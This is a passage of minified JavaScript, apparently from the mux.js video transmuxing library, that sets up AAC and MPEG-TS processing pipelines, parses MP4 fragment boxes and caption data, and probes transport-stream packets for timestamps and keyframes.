Uint8Array(initSegment.byteLength),event.initSegment.set(initSegment),event.data=new Uint8Array(this.pendingBytes),i=0;i&lt;this.pendingBoxes.length;i++)event.data.set(this.pendingBoxes[i],offset),offset+=this.pendingBoxes[i].byteLength;for(i=0;i&lt;this.pendingCaptions.length;i++)(caption=this.pendingCaptions[i]).startTime=clock_metadataTsToSeconds$0(caption.startPts,timelineStartPts,this.keepOriginalTimestamps),caption.endTime=clock_metadataTsToSeconds$0(caption.endPts,timelineStartPts,this.keepOriginalTimestamps),event.captionStreams[caption.stream]=!0,event.captions.push(caption);for(i=0;i&lt;this.pendingMetadata.length;i++)(id3=this.pendingMetadata[i]).cueTime=clock_metadataTsToSeconds$0(id3.pts,timelineStartPts,this.keepOriginalTimestamps),event.metadata.push(id3);for(event.metadata.dispatchType=this.metadataStream.dispatchType,this.pendingTracks.length=0,this.videoTrack=null,this.pendingBoxes.length=0,this.pendingCaptions.length=0,this.pendingBytes=0,this.pendingMetadata.length=0,this.trigger(&quot;data&quot;,event),i=0;i&lt;event.captions.length;i++)caption=event.captions[i],this.trigger(&quot;caption&quot;,caption);for(i=0;i&lt;event.metadata.length;i++)id3=event.metadata[i],this.trigger(&quot;id3Frame&quot;,id3)}this.emittedTracks&gt;=this.numberOfTracks&amp;&amp;(this.trigger(&quot;done&quot;),this.emittedTracks=0)},_CoalesceStream.prototype.setRemux=function(val){this.remuxTracks=val},_Transmuxer=function(options){var videoTrack,audioTrack,self=this,hasFlushed=!0;_Transmuxer.prototype.init.call(this),options=options||{},this.baseMediaDecodeTime=options.baseMediaDecodeTime||0,this.transmuxPipeline_={},this.setupAacPipeline=function(){var pipeline={};this.transmuxPipeline_=pipeline,pipeline.type=&quot;aac&quot;,pipeline.metadataStream=new m2ts_1.MetadataStream,pipeline.aacStream=new aac,pipeline.audioTimestampRolloverStream=new m2ts_1.TimestampRolloverStream(&quot;audio&quot;),pipeline.timedMetadataTimestampRolloverStream=new m2ts_1.TimestampRolloverStream(&quot;timed-metadata&quot;),pipeline.adtsStream=new adts,pipeline.coalesceStream=new _CoalesceStream(options,pipeline.metadataStream),pipeline.headOfPipeline=pipeline.aacStream,pipeline.aacStream.pipe(pipeline.audioTimestampRolloverStream).pipe(pipeline.adtsStream),pipeline.aacStream.pipe(pipeline.timedMetadataTimestampRolloverStream).pipe(pipeline.metadataStream).pipe(pipeline.coalesceStream),pipeline.metadataStream.on(&quot;timestamp&quot;,(function(frame){pipeline.aacStream.setTimestamp(frame.timeStamp)})),pipeline.aacStream.on(&quot;data&quot;,(function(data){&quot;timed-metadata&quot;!==data.type&amp;&amp;&quot;audio&quot;!==data.type||pipeline.audioSegmentStream||(audioTrack=audioTrack||{timelineStartInfo:{baseMediaDecodeTime:self.baseMediaDecodeTime},codec:&quot;adts&quot;,type:&quot;audio&quot;},pipeline.coalesceStream.numberOfTracks++,pipeline.audioSegmentStream=new _AudioSegmentStream(audioTrack,options),pipeline.audioSegmentStream.on(&quot;log&quot;,self.getLogTrigger_(&quot;audioSegmentStream&quot;)),pipeline.audioSegmentStream.on(&quot;timingInfo&quot;,self.trigger.bind(self,&quot;audioTimingInfo&quot;)),pipeline.adtsStream.pipe(pipeline.audioSegmentStream).pipe(pipeline.coalesceStream),self.trigger(&quot;trackinfo&quot;,{hasAudio:!!audioTrack,hasVideo:!!videoTrack}))})),pipeline.coalesceStream.on(&quot;data&quot;,this.trigger.bind(this,&quot;data&quot;)),pipeline.coalesceStream.on(&quot;done&quot;,this.trigger.bind(this,&quot;done&quot;)),addPipelineLogRetriggers(this,pipeline)},this.setupTsPipeline=function(){var pipeline={};this.transmuxPipeline_=pipeline,pipeline.type=&quot;ts&quot;,pipeline.metadataStream=new m2ts_1.MetadataStream,pipeline.packetStream=new m2ts_1.TransportPacketStream,pipeline.parseStream=new m2ts_1.TransportParseStream,pipeline.elementaryStream=new m2ts_1.ElementaryStream,pipeline.timestampRolloverStream=new m2ts_1.TimestampRolloverStream,pipeline.adtsStream=new adts,pipeline.h264Stream=new H264Stream,pipeline.captionStream=new m2ts_1.CaptionStream(options),pipeline.coalesceStream=new _CoalesceStream(options,pipeline.metadataStream),pipeline.headOfPipeline=pipeline.packetStream,pipeline.packetStream.pipe(pipeline.parseStream).pipe(pipeline.elementaryStream).pipe(pipeline.timestampRolloverStream),pipeline.timestampRolloverStream.pipe(pipeline.h264Stream),pipeline.timestampRolloverStream.pipe(pipeline.adtsStream),pipeline.timestampRolloverStream.pipe(pipeline.metadataStream).pipe(pipeline.coalesceStream),pipeline.h264Stream.pipe(pipeline.captionStream).pipe(pipeline.coalesceStream),pipeline.elementaryStream.on(&quot;data&quot;,(function(data){var i;if(&quot;metadata&quot;===data.type){for(i=data.tracks.length;i--;)videoTrack||&quot;video&quot;!==data.tracks[i].type?audioTrack||&quot;audio&quot;!==data.tracks[i].type||((audioTrack=data.tracks[i]).timelineStartInfo.baseMediaDecodeTime=self.baseMediaDecodeTime):(videoTrack=data.tracks[i]).timelineStartInfo.baseMediaDecodeTime=self.baseMediaDecodeTime;videoTrack&amp;&amp;!pipeline.videoSegmentStream&amp;&amp;(pipeline.coalesceStream.numberOfTracks++,pipeline.videoSegmentStream=new _VideoSegmentStream(videoTrack,options),pipeline.videoSegmentStream.on(&quot;log&quot;,self.getLogTrigger_(&quot;videoSegmentStream&quot;)),pipeline.videoSegmentStream.on(&quot;timelineStartInfo&quot;,(function(timelineStartInfo){audioTrack&amp;&amp;!options.keepOriginalTimestamps&amp;&amp;(audioTrack.timelineStartInfo=timelineStartInfo,pipeline.audioSegmentStream.setEarliestDts(timelineStartInfo.dts-self.baseMediaDecodeTime))})),pipeline.videoSegmentStream.on(&quot;processedGopsInfo&quot;,self.trigger.bind(self,&quot;gopInfo&quot;)),pipeline.videoSegmentStream.on(&quot;segmentTimingInfo&quot;,self.trigger.bind(self,&quot;videoSegmentTimingInfo&quot;)),pipeline.videoSegmentStream.on(&quot;baseMediaDecodeTime&quot;,(function(baseMediaDecodeTime){audioTrack&amp;&amp;pipeline.audioSegmentStream.setVideoBaseMediaDecodeTime(baseMediaDecodeTime)})),pipeline.videoSegmentStream.on(&quot;timingInfo&quot;,self.trigger.bind(self,&quot;videoTimingInfo&quot;)),pipeline.h264Stream.pipe(pipeline.videoSegmentStream).pipe(pipeline.coalesceStream)),audioTrack&amp;&amp;!pipeline.audioSegmentStream&amp;&amp;(pipeline.coalesceStream.numberOfTracks++,pipeline.audioSegmentStream=new _AudioSegmentStream(audioTrack,options),pipeline.audioSegmentStream.on(&quot;log&quot;,self.getLogTrigger_(&quot;audioSegmentStream&quot;)),pipeline.audioSegmentStream.on(&quot;timingInfo&quot;,self.trigger.bind(self,&quot;audioTimingInfo&quot;)),pipeline.audioSegmentStream.on(&quot;segmentTimingInfo&quot;,self.trigger.bind(self,&quot;audioSegmentTimingInfo&quot;)),pipeline.adtsStream.pipe(pipeline.audioSegmentStream).pipe(pipeline.coalesceStream)),self.trigger(&quot;trackinfo&quot;,{hasAudio:!!audioTrack,hasVideo:!!videoTrack})}})),pipeline.coalesceStream.on(&quot;data&quot;,this.trigger.bind(this,&quot;data&quot;)),pipeline.coalesceStream.on(&quot;id3Frame&quot;,(function(id3Frame){id3Frame.dispatchType=pipeline.metadataStream.dispatchType,self.trigger(&quot;id3Frame&quot;,id3Frame)})),pipeline.coalesceStream.on(&quot;caption&quot;,this.trigger.bind(this,&quot;caption&quot;)),pipeline.coalesceStream.on(&quot;done&quot;,this.trigger.bind(this,&quot;done&quot;)),addPipelineLogRetriggers(this,pipeline)},this.setBaseMediaDecodeTime=function(baseMediaDecodeTime){var pipeline=this.transmuxPipeline_;options.keepOriginalTimestamps||(this.baseMediaDecodeTime=baseMediaDecodeTime),audioTrack&amp;&amp;(audioTrack.timelineStartInfo.dts=void 0,audioTrack.timelineStartInfo.pts=void 0,trackDecodeInfo_clearDtsInfo(audioTrack),pipeline.audioTimestampRolloverStream&amp;&amp;pipeline.audioTimestampRolloverStream.discontinuity()),videoTrack&amp;&amp;(pipeline.videoSegmentStream&amp;&amp;(pipeline.videoSegmentStream.gopCache_=[]),videoTrack.timelineStartInfo.dts=void 0,videoTrack.timelineStartInfo.pts=void 0,trackDecodeInfo_clearDtsInfo(videoTrack),pipeline.captionStream.reset()),pipeline.timestampRolloverStream&amp;&amp;pipeline.timestampRolloverStream.discontinuity()},this.setAudioAppendStart=function(timestamp){audioTrack&amp;&amp;this.transmuxPipeline_.audioSegmentStream.setAudioAppendStart(timestamp)},this.setRemux=function(val){var pipeline=this.transmuxPipeline_;options.remux=val,pipeline&amp;&amp;pipeline.coalesceStream&amp;&amp;pipeline.coalesceStream.setRemux(val)},this.alignGopsWith=function(gopsToAlignWith){videoTrack&amp;&amp;this.transmuxPipeline_.videoSegmentStream&amp;&amp;this.transmuxPipeline_.videoSegmentStream.alignGopsWith(gopsToAlignWith)},this.getLogTrigger_=function(key){var self=this;return function(event){event.stream=key,self.trigger(&quot;log&quot;,event)}},this.push=function(data){if(hasFlushed){var isAac=isLikelyAacData(data);isAac&amp;&amp;&quot;aac&quot;!==this.transmuxPipeline_.type?this.setupAacPipeline():isAac||&quot;ts&quot;===this.transmuxPipeline_.type||this.setupTsPipeline(),hasFlushed=!1}this.transmuxPipeline_.headOfPipeline.push(data)},this.flush=function(){hasFlushed=!0,this.transmuxPipeline_.headOfPipeline.flush()},this.endTimeline=function(){this.transmuxPipeline_.headOfPipeline.endTimeline()},this.reset=function(){this.transmuxPipeline_.headOfPipeline&amp;&amp;this.transmuxPipeline_.headOfPipeline.reset()},this.resetCaptions=function(){this.transmuxPipeline_.captionStream&amp;&amp;this.transmuxPipeline_.captionStream.reset()}},_Transmuxer.prototype=new stream;var startTime,getTracks,getTimescaleFromMediaHeader,transmuxer={Transmuxer:_Transmuxer,VideoSegmentStream:_VideoSegmentStream,AudioSegmentStream:_AudioSegmentStream,AUDIO_PROPERTIES:audioProperties,VIDEO_PROPERTIES:videoProperties,generateSegmentTimingInfo:generateSegmentTimingInfo},bin_toUnsigned=function(value){return value&gt;&gt;&gt;0},parseType_1=function(buffer){var result=&quot;&quot;;return result+=String.fromCharCode(buffer[0]),result+=String.fromCharCode(buffer[1]),result+=String.fromCharCode(buffer[2]),result+=String.fromCharCode(buffer[3])},toUnsigned$2=bin_toUnsigned,findBox_1=function findBox(data,path){var i,size,type,end,subresults,results=[];if(!path.length)return null;for(i=0;i&lt;data.byteLength;)size=toUnsigned$2(data[i]&lt;&lt;24|data[i+1]&lt;&lt;16|data[i+2]&lt;&lt;8|data[i+3]),type=parseType_1(data.subarray(i+4,i+8)),end=size&gt;1?i+size:data.byteLength,type===path[0]&amp;&amp;(1===path.length?results.push(data.subarray(i+8,end)):(subresults=findBox(data.subarray(i+8,end),path.slice(1))).length&amp;&amp;(results=results.concat(subresults))),i=end;return results},toUnsigned$1=bin_toUnsigned,parseTfdt=function(data){var result={version:data[0],flags:new Uint8Array(data.subarray(1,4)),baseMediaDecodeTime:toUnsigned$1(data[4]&lt;&lt;24|data[5]&lt;&lt;16|data[6]&lt;&lt;8|data[7])};return 1===result.version&amp;&amp;(result.baseMediaDecodeTime*=Math.pow(2,32),result.baseMediaDecodeTime+=toUnsigned$1(data[8]&lt;&lt;24|data[9]&lt;&lt;16|data[10]&lt;&lt;8|data[11])),result},parseSampleFlags_1=function(flags){return{isLeading:(12&amp;flags[0])&gt;&gt;&gt;2,dependsOn:3&amp;flags[0],isDependedOn:(192&amp;flags[1])&gt;&gt;&gt;6,hasRedundancy:(48&amp;flags[1])&gt;&gt;&gt;4,paddingValue:(14&amp;flags[1])&gt;&gt;&gt;1,isNonSyncSample:1&amp;flags[1],degradationPriority:flags[2]&lt;&lt;8|flags[3]}},parseTrun=function(data){var sample,result={version:data[0],flags:new Uint8Array(data.subarray(1,4)),samples:[]},view=new DataView(data.buffer,data.byteOffset,data.byteLength),dataOffsetPresent=1&amp;result.flags[2],firstSampleFlagsPresent=4&amp;result.flags[2],sampleDurationPresent=1&amp;result.flags[1],sampleSizePresent=2&amp;result.flags[1],sampleFlagsPresent=4&amp;result.flags[1],sampleCompositionTimeOffsetPresent=8&amp;result.flags[1],sampleCount=view.getUint32(4),offset=8;for(dataOffsetPresent&amp;&amp;(result.dataOffset=view.getInt32(offset),offset+=4),firstSampleFlagsPresent&amp;&amp;sampleCount&amp;&amp;(sample={flags:parseSampleFlags_1(data.subarray(offset,offset+4))},offset+=4,sampleDurationPresent&amp;&amp;(sample.duration=view.getUint32(offset),offset+=4),sampleSizePresent&amp;&amp;(sample.size=view.getUint32(offset),offset+=4),sampleCompositionTimeOffsetPresent&amp;&amp;(1===result.version?sample.compositionTimeOffset=view.getInt32(offset):sample.compositionTimeOffset=view.getUint32(offset),offset+=4),result.samples.push(sample),sampleCount--);sampleCount--;)sample={},sampleDurationPresent&amp;&amp;(sample.duration=view.getUint32(offset),offset+=4),sampleSizePresent&amp;&amp;(sample.size=view.getUint32(offset),offset+=4),sampleFlagsPresent&amp;&amp;(sample.flags=parseSampleFlags_1(data.subarray(offset,offset+4)),offset+=4),sampleCompositionTimeOffsetPresent&amp;&amp;(1===result.version?sample.compositionTimeOffset=view.getInt32(offset):sample.compositionTimeOffset=view.getUint32(offset),offset+=4),result.samples.push(sample);return result},parseTfhd=function(data){var i,view=new DataView(data.buffer,data.byteOffset,data.byteLength),result={version:data[0],flags:new Uint8Array(data.subarray(1,4)),trackId:view.getUint32(4)},baseDataOffsetPresent=1&amp;result.flags[2],sampleDescriptionIndexPresent=2&amp;result.flags[2],defaultSampleDurationPresent=8&amp;result.flags[2],defaultSampleSizePresent=16&amp;result.flags[2],defaultSampleFlagsPresent=32&amp;result.flags[2],durationIsEmpty=65536&amp;result.flags[0],defaultBaseIsMoof=131072&amp;result.flags[0];return i=8,baseDataOffsetPresent&amp;&amp;(i+=4,result.baseDataOffset=view.getUint32(12),i+=4),sampleDescriptionIndexPresent&amp;&amp;(result.sampleDescriptionIndex=view.getUint32(i),i+=4),defaultSampleDurationPresent&amp;&amp;(result.defaultSampleDuration=view.getUint32(i),i+=4),defaultSampleSizePresent&amp;&amp;(result.defaultSampleSize=view.getUint32(i),i+=4),defaultSampleFlagsPresent&amp;&amp;(result.defaultSampleFlags=view.getUint32(i)),durationIsEmpty&amp;&amp;(result.durationIsEmpty=!0),!baseDataOffsetPresent&amp;&amp;defaultBaseIsMoof&amp;&amp;(result.baseDataOffsetIsMoof=!0),result},discardEmulationPreventionBytes=captionPacketParser_discardEmulationPreventionBytes,CaptionStream=captionStream.CaptionStream,mapToSample=function(offset,samples){for(var approximateOffset=offset,i=0;i&lt;samples.length;i++){var sample=samples[i];if(approximateOffset&lt;sample.size)return sample;approximateOffset-=sample.size}return null},parseCaptionNals=function(segment,videoTrackId){var trafs=findBox_1(segment,[&quot;moof&quot;,&quot;traf&quot;]),mdats=findBox_1(segment,[&quot;mdat&quot;]),captionNals={},mdatTrafPairs=[];return mdats.forEach((function(mdat,index){var matchingTraf=trafs[index];mdatTrafPairs.push({mdat:mdat,traf:matchingTraf})})),mdatTrafPairs.forEach((function(pair){var samples,result,mdat=pair.mdat,traf=pair.traf,tfhd=findBox_1(traf,[&quot;tfhd&quot;]),headerInfo=parseTfhd(tfhd[0]),trackId=headerInfo.trackId,tfdt=findBox_1(traf,[&quot;tfdt&quot;]),baseMediaDecodeTime=tfdt.length&gt;0?parseTfdt(tfdt[0]).baseMediaDecodeTime:0,truns=findBox_1(traf,[&quot;trun&quot;]);videoTrackId===trackId&amp;&amp;truns.length&gt;0&amp;&amp;(samples=function(truns,baseMediaDecodeTime,tfhd){var currentDts=baseMediaDecodeTime,defaultSampleDuration=tfhd.defaultSampleDuration||0,defaultSampleSize=tfhd.defaultSampleSize||0,trackId=tfhd.trackId,allSamples=[];return truns.forEach((function(trun){var samples=parseTrun(trun).samples;samples.forEach((function(sample){void 0===sample.duration&amp;&amp;(sample.duration=defaultSampleDuration),void 0===sample.size&amp;&amp;(sample.size=defaultSampleSize),sample.trackId=trackId,sample.dts=currentDts,void 0===sample.compositionTimeOffset&amp;&amp;(sample.compositionTimeOffset=0),sample.pts=currentDts+sample.compositionTimeOffset,currentDts+=sample.duration})),allSamples=allSamples.concat(samples)})),allSamples}(truns,baseMediaDecodeTime,headerInfo),result=function(avcStream,samples,trackId){var seiNal,i,length,lastMatchedSample,avcView=new DataView(avcStream.buffer,avcStream.byteOffset,avcStream.byteLength),result={logs:[],seiNals:[]};for(i=0;i+4&lt;avcStream.length;i+=length)if(length=avcView.getUint32(i),i+=4,!(length&lt;=0))switch(31&amp;avcStream[i]){case 6:var data=avcStream.subarray(i+1,i+1+length),matchingSample=mapToSample(i,samples);if(seiNal={nalUnitType:&quot;sei_rbsp&quot;,size:length,data:data,escapedRBSP:discardEmulationPreventionBytes(data),trackId:trackId},matchingSample)seiNal.pts=matchingSample.pts,seiNal.dts=matchingSample.dts,lastMatchedSample=matchingSample;else{if(!lastMatchedSample){result.logs.push({level:&quot;warn&quot;,message:&quot;We&#039;ve encountered a nal unit without data at &quot;+i+&quot; for trackId &quot;+trackId+&quot;. See mux.js#223.&quot;});break}seiNal.pts=lastMatchedSample.pts,seiNal.dts=lastMatchedSample.dts}result.seiNals.push(seiNal)}return result}(mdat,samples,trackId),captionNals[trackId]||(captionNals[trackId]={seiNals:[],logs:[]}),captionNals[trackId].seiNals=captionNals[trackId].seiNals.concat(result.seiNals),captionNals[trackId].logs=captionNals[trackId].logs.concat(result.logs))})),captionNals},captionParser=function(){var captionStream,segmentCache,trackId,timescale,parsedCaptions,parsingPartial,isInitialized=!1;this.isInitialized=function(){return isInitialized},this.init=function(options){captionStream=new CaptionStream,isInitialized=!0,parsingPartial=!!options&amp;&amp;options.isPartial,captionStream.on(&quot;data&quot;,(function(event){event.startTime=event.startPts/timescale,event.endTime=event.endPts/timescale,parsedCaptions.captions.push(event),parsedCaptions.captionStreams[event.stream]=!0})),captionStream.on(&quot;log&quot;,(function(log){parsedCaptions.logs.push(log)}))},this.isNewInit=function(videoTrackIds,timescales){return!(videoTrackIds&amp;&amp;0===videoTrackIds.length||timescales&amp;&amp;&quot;object&quot;==typeof timescales&amp;&amp;0===Object.keys(timescales).length)&amp;&amp;(trackId!==videoTrackIds[0]||timescale!==timescales[trackId])},this.parse=function(segment,videoTrackIds,timescales){var parsedData;if(!this.isInitialized())return null;if(!videoTrackIds||!timescales)return null;if(this.isNewInit(videoTrackIds,timescales))trackId=videoTrackIds[0],timescale=timescales[trackId];else if(null===trackId||!timescale)return segmentCache.push(segment),null;for(;segmentCache.length&gt;0;){var cachedSegment=segmentCache.shift();this.parse(cachedSegment,videoTrackIds,timescales)}return parsedData=function(segment,trackId,timescale){if(null===trackId)return null;var trackNals=parseCaptionNals(segment,trackId)[trackId]||{};return{seiNals:trackNals.seiNals,logs:trackNals.logs,timescale:timescale}}(segment,trackId,timescale),parsedData&amp;&amp;parsedData.logs&amp;&amp;(parsedCaptions.logs=parsedCaptions.logs.concat(parsedData.logs)),null!==parsedData&amp;&amp;parsedData.seiNals?(this.pushNals(parsedData.seiNals),this.flushStream(),parsedCaptions):parsedCaptions.logs.length?{logs:parsedCaptions.logs,captions:[],captionStreams:[]}:null},this.pushNals=function(nals){if(!this.isInitialized()||!nals||0===nals.length)return null;nals.forEach((function(nal){captionStream.push(nal)}))},this.flushStream=function(){if(!this.isInitialized())return null;parsingPartial?captionStream.partialFlush():captionStream.flush()},this.clearParsedCaptions=function(){parsedCaptions.captions=[],parsedCaptions.captionStreams={},parsedCaptions.logs=[]},this.resetCaptionStream=function(){if(!this.isInitialized())return null;captionStream.reset()},this.clearAllCaptions=function(){this.clearParsedCaptions(),this.resetCaptionStream()},this.reset=function(){segmentCache=[],trackId=null,timescale=null,parsedCaptions?this.clearParsedCaptions():parsedCaptions={captions:[],captionStreams:{},logs:[]},this.resetCaptionStream()},this.reset()},toUnsigned=bin_toUnsigned,toHexString=function(value){return(&quot;00&quot;+value.toString(16)).slice(-2)};startTime=function(timescale,fragment){var trafs,baseTimes,result;return trafs=findBox_1(fragment,[&quot;moof&quot;,&quot;traf&quot;]),baseTimes=[].concat.apply([],trafs.map((function(traf){return findBox_1(traf,[&quot;tfhd&quot;]).map((function(tfhd){var id,scale,baseTime;return id=toUnsigned(tfhd[4]&lt;&lt;24|tfhd[5]&lt;&lt;16|tfhd[6]&lt;&lt;8|tfhd[7]),scale=timescale[id]||9e4,baseTime=findBox_1(traf,[&quot;tfdt&quot;]).map((function(tfdt){var version,result;return version=tfdt[0],result=toUnsigned(tfdt[4]&lt;&lt;24|tfdt[5]&lt;&lt;16|tfdt[6]&lt;&lt;8|tfdt[7]),1===version&amp;&amp;(result*=Math.pow(2,32),result+=toUnsigned(tfdt[8]&lt;&lt;24|tfdt[9]&lt;&lt;16|tfdt[10]&lt;&lt;8|tfdt[11])),result}))[0],(baseTime=&quot;number&quot;!=typeof baseTime||isNaN(baseTime)?1/0:baseTime)/scale}))}))),result=Math.min.apply(null,baseTimes),isFinite(result)?result:0},getTimescaleFromMediaHeader=function(mdhd){var index=0===mdhd[0]?12:20;return toUnsigned(mdhd[index]&lt;&lt;24|mdhd[index+1]&lt;&lt;16|mdhd[index+2]&lt;&lt;8|mdhd[index+3])},getTracks=function(init){var traks=findBox_1(init,[&quot;moov&quot;,&quot;trak&quot;]),tracks=[];return traks.forEach((function(trak){var view,tkhdVersion,track={},tkhd=findBox_1(trak,[&quot;tkhd&quot;])[0];tkhd&amp;&amp;(tkhdVersion=(view=new DataView(tkhd.buffer,tkhd.byteOffset,tkhd.byteLength)).getUint8(0),track.id=0===tkhdVersion?view.getUint32(12):view.getUint32(20));var hdlr=findBox_1(trak,[&quot;mdia&quot;,&quot;hdlr&quot;])[0];if(hdlr){var type=parseType_1(hdlr.subarray(8,12));track.type=&quot;vide&quot;===type?&quot;video&quot;:&quot;soun&quot;===type?&quot;audio&quot;:type}var stsd=findBox_1(trak,[&quot;mdia&quot;,&quot;minf&quot;,&quot;stbl&quot;,&quot;stsd&quot;])[0];if(stsd){var sampleDescriptions=stsd.subarray(8);track.codec=parseType_1(sampleDescriptions.subarray(4,8));var codecConfig,codecBox=findBox_1(sampleDescriptions,[track.codec])[0];codecBox&amp;&amp;(/^[asm]vc[1-9]$/i.test(track.codec)?(codecConfig=codecBox.subarray(78),&quot;avcC&quot;===parseType_1(codecConfig.subarray(4,8))&amp;&amp;codecConfig.length&gt;11?(track.codec+=&quot;.&quot;,track.codec+=toHexString(codecConfig[9]),track.codec+=toHexString(codecConfig[10]),track.codec+=toHexString(codecConfig[11])):track.codec=&quot;avc1.4d400d&quot;):/^mp4[a,v]$/i.test(track.codec)?(codecConfig=codecBox.subarray(28),&quot;esds&quot;===parseType_1(codecConfig.subarray(4,8))&amp;&amp;codecConfig.length&gt;20&amp;&amp;0!==codecConfig[19]?(track.codec+=&quot;.&quot;+toHexString(codecConfig[19]),track.codec+=&quot;.&quot;+toHexString(codecConfig[20]&gt;&gt;&gt;2&amp;63).replace(/^0/,&quot;&quot;)):track.codec=&quot;mp4a.40.2&quot;):track.codec=track.codec.toLowerCase())}var mdhd=findBox_1(trak,[&quot;mdia&quot;,&quot;mdhd&quot;])[0];mdhd&amp;&amp;(track.timescale=getTimescaleFromMediaHeader(mdhd)),tracks.push(track)})),tracks};var probe$2_startTime=startTime,probe$2_tracks=getTracks,parsePid=function(packet){var pid=31&amp;packet[1];return pid&lt;&lt;=8,pid|=packet[2]},parsePayloadUnitStartIndicator=function(packet){return!!(64&amp;packet[1])},parseAdaptionField=function(packet){var offset=0;return(48&amp;packet[3])&gt;&gt;&gt;4&gt;1&amp;&amp;(offset+=packet[4]+1),offset},parseNalUnitType=function(type){switch(type){case 5:return&quot;slice_layer_without_partitioning_rbsp_idr&quot;;case 6:return&quot;sei_rbsp&quot;;case 7:return&quot;seq_parameter_set_rbsp&quot;;case 8:return&quot;pic_parameter_set_rbsp&quot;;case 9:return&quot;access_unit_delimiter_rbsp&quot;;default:return null}},probe$1={parseType:function(packet,pmtPid){var pid=parsePid(packet);return 0===pid?&quot;pat&quot;:pid===pmtPid?&quot;pmt&quot;:pmtPid?&quot;pes&quot;:null},parsePat:function(packet){var pusi=parsePayloadUnitStartIndicator(packet),offset=4+parseAdaptionField(packet);return pusi&amp;&amp;(offset+=packet[offset]+1),(31&amp;packet[offset+10])&lt;&lt;8|packet[offset+11]},parsePmt:function(packet){var programMapTable={},pusi=parsePayloadUnitStartIndicator(packet),payloadOffset=4+parseAdaptionField(packet);if(pusi&amp;&amp;(payloadOffset+=packet[payloadOffset]+1),1&amp;packet[payloadOffset+5]){var tableEnd;tableEnd=3+((15&amp;packet[payloadOffset+1])&lt;&lt;8|packet[payloadOffset+2])-4;for(var offset=12+((15&amp;packet[payloadOffset+10])&lt;&lt;8|packet[payloadOffset+11]);offset&lt;tableEnd;){var i=payloadOffset+offset;programMapTable[(31&amp;packet[i+1])&lt;&lt;8|packet[i+2]]=packet[i],offset+=5+((15&amp;packet[i+3])&lt;&lt;8|packet[i+4])}return programMapTable}},parsePayloadUnitStartIndicator:parsePayloadUnitStartIndicator,parsePesType:function(packet,programMapTable){switch(programMapTable[parsePid(packet)]){case streamTypes.H264_STREAM_TYPE:return&quot;video&quot;;case streamTypes.ADTS_STREAM_TYPE:return&quot;audio&quot;;case streamTypes.METADATA_STREAM_TYPE:return&quot;timed-metadata&quot;;default:return null}},parsePesTime:function(packet){if(!parsePayloadUnitStartIndicator(packet))return null;var offset=4+parseAdaptionField(packet);if(offset&gt;=packet.byteLength)return null;var ptsDtsFlags,pes=null;return 192&amp;(ptsDtsFlags=packet[offset+7])&amp;&amp;((pes={}).pts=(14&amp;packet[offset+9])&lt;&lt;27|(255&amp;packet[offset+10])&lt;&lt;20|(254&amp;packet[offset+11])&lt;&lt;12|(255&amp;packet[offset+12])&lt;&lt;5|(254&amp;packet[offset+13])&gt;&gt;&gt;3,pes.pts*=4,pes.pts+=(6&amp;packet[offset+13])&gt;&gt;&gt;1,pes.dts=pes.pts,64&amp;ptsDtsFlags&amp;&amp;(pes.dts=(14&amp;packet[offset+14])&lt;&lt;27|(255&amp;packet[offset+15])&lt;&lt;20|(254&amp;packet[offset+16])&lt;&lt;12|(255&amp;packet[offset+17])&lt;&lt;5|(254&amp;packet[offset+18])&gt;&gt;&gt;3,pes.dts*=4,pes.dts+=(6&amp;packet[offset+18])&gt;&gt;&gt;1)),pes},videoPacketContainsKeyFrame:function(packet){for(var offset=4+parseAdaptionField(packet),frameBuffer=packet.subarray(offset),frameI=0,frameSyncPoint=0,foundKeyFrame=!1;frameSyncPoint&lt;frameBuffer.byteLength-3;frameSyncPoint++)if(1===frameBuffer[frameSyncPoint+2]){frameI=frameSyncPoint+5;break}for(;frameI&lt;frameBuffer.byteLength;)switch(frameBuffer[frameI]){case 0:if(0!==frameBuffer[frameI-1]){frameI+=2;break}if(0!==frameBuffer[frameI-2]){frameI++;break}frameSyncPoint+3!==frameI-2&amp;&amp;&quot;slice_layer_without_partitioning_rbsp_idr&quot;===parseNalUnitType(31&amp;frameBuffer[frameSyncPoint+3])&amp;&amp;(foundKeyFrame=!0);do{frameI++}while(1!==frameBuffer[frameI]&amp;&amp;frameI&lt;frameBuffer.length);frameSyncPoint=frameI-2,frameI+=3;break;case 1:if(0!==frameBuffer[frameI-1]||0!==frameBuffer[frameI-2]){frameI+=3;break}&quot;slice_layer_without_partitioning_rbsp_idr&quot;===parseNalUnitType(31&amp;frameBuffer[frameSyncPoint+3])&amp;&amp;(foundKeyFrame=!0),frameSyncPoint=frameI-2,frameI+=3;break;default:frameI+=3}return frameBuffer=frameBuffer.subarray(frameSyncPoint),frameI-=frameSyncPoint,frameSyncPoint=0,frameBuffer&amp;&amp;frameBuffer.byteLength&gt;3&amp;&amp;&quot;slice_layer_without_partitioning_rbsp_idr&quot;===parseNalUnitType(31&amp;frameBuffer[frameSyncPoint+3])&amp;&amp;(foundKeyFrame=!0),foundKeyFrame}},handleRollover=timestampRolloverStream_handleRollover,probe={};probe.ts=probe$1,probe.aac=utils;var ONE_SECOND_IN_TS=clock_ONE_SECOND_IN_TS$0,parseAudioPes_=function(bytes,pmt,result){for(var packet,pesType,pusi,parsed,startIndex=0,endIndex=188,endLoop=!1;endIndex&lt;=bytes.byteLength;)if(71!==bytes[startIndex]||71!==bytes[endIndex]&amp;&amp;endIndex!==bytes.byteLength)startIndex++,endIndex++;else{if(packet=bytes.subarray(startIndex,endIndex),&quot;pes&quot;===probe.ts.parseType(packet,pmt.pid))pesType=probe.ts.parsePesType(packet,pmt.table),pusi=probe.ts.parsePayloadUnitStartIndicator(packet),&quot;audio&quot;===pesType&amp;&amp;pusi&amp;&amp;(parsed=probe.ts.parsePesTime(packet))&amp;&amp;(parsed.type=&quot;audio&quot;,result.audio.push(parsed),endLoop=!0);if(endLoop)break;startIndex+=188,endIndex+=188}for(startIndex=(endIndex=bytes.byteLength)-188,endLoop=!1;startIndex&gt;=0;)if(71!==bytes[startIndex]||71!==bytes[endIndex]&amp;&amp;endIndex!==bytes.byteLength)startIndex--,endIndex--;else{if(packet=bytes.subarray(startIndex,endIndex),&quot;pes&quot;===probe.ts.parseType(packet,pmt.pid))pesType=probe.ts.parsePesType(packet,pmt.table),pusi=probe.ts.parsePayloadUnitStartIndicator(packet),&quot;audio&quot;===pesType&amp;&amp;pusi&amp;&amp;(parsed=probe.ts.parsePesTime(packet))&amp;&amp;(parsed.type=&quot;audio&quot;,result.audio.push(parsed),endLoop=!0);if(endLoop)break;startIndex-=188,endIndex-=188}},parseVideoPes_=function(bytes,pmt,result){for(var 